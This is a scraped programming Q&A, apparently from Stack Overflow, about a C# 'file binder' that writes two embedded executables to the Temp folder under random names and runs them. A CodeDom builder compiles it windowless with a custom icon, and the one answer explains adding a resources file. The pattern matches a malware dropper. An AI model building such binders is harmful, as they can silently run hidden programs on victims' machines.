【问题标题】:C# Can't access Properties.ResourcesC# 无法访问 Properties.Resources
【发布时间】:2019-02-13 04:53:18
【问题描述】:

所以,我正在制作一个文件活页夹。 saves1saves2 是嵌入式资源
我想将它提取到临时文件夹中。

这是我的代码:

using System.IO;
using System.Diagnostics;

namespace _123
{
class Program
{
    static void Main(string[] args)
    {
        string patdth = @"C:\Users\Alfred\AppData\Local\Temp";
        byte[] lel1 = Properties.Resources.saves2;
        byte[] lel = Properties.Resources.saves1;
        File.WriteAllBytes(patdth + "\\hdhtehyr.exe", lel);
        File.WriteAllBytes(patdth + "\\hdhdhdhgd.exe", lel1);
        Process.Start(patdth + "\\hdhtehyr.exe");
        Process.Start(patdth + "\\hdhdhdhgd.exe");


    }
  }
}

我收到此错误:

"错误 CS0103 名称 'Properties' 在当前不存在 上下文 ConsoleApplication3"。

编辑:

我在这里动态插入资源,你可以看到我的代码“/resources”+Path“是我添加资源的方式。

        public void compile2(string file)
    {
        CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp");
        CompilerParameters compars = new CompilerParameters();
        compars.ReferencedAssemblies.Add("System.dll");
        compars.ReferencedAssemblies.Add("System.Reflection.dll");
        compars.ReferencedAssemblies.Add("System.IO.dll");
        compars.GenerateExecutable = true;
        compars.GenerateInMemory = false;
        compars.TreatWarningsAsErrors = false;
        compars.OutputAssembly = "Binded.exe";
        compars.CompilerOptions = "/resources:" + textBox10.Text;
        compars.CompilerOptions = "/resources:" + textBox11.Text;
        compars.CompilerOptions = "/t:winexe";
        if (string.IsNullOrWhiteSpace(textBox12.Text))
        {

        }
        else
        {
            compars.CompilerOptions = "/win32icon:" + textBox12.Text;
        }
        CompilerResults res = provider.CompileAssemblyFromSource(compars, file);
        {
            MessageBox.Show("Code compiled!", "Success");
        }
    }

【问题讨论】:

标签: c#


【解决方案1】:

在“ConsoleApplication3”项目下,双击“属性”->选择“资源”选项卡->单击“此项目不包含默认资源文件。单击此处创建一个。”信息。在此处添加文件(“saves1”和“saves2”)。

【讨论】:

    猜你喜欢
    • 2012-03-04
    • 2016-12-14
    • 2014-07-10
    • 2018-10-17
    • 2023-03-22
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多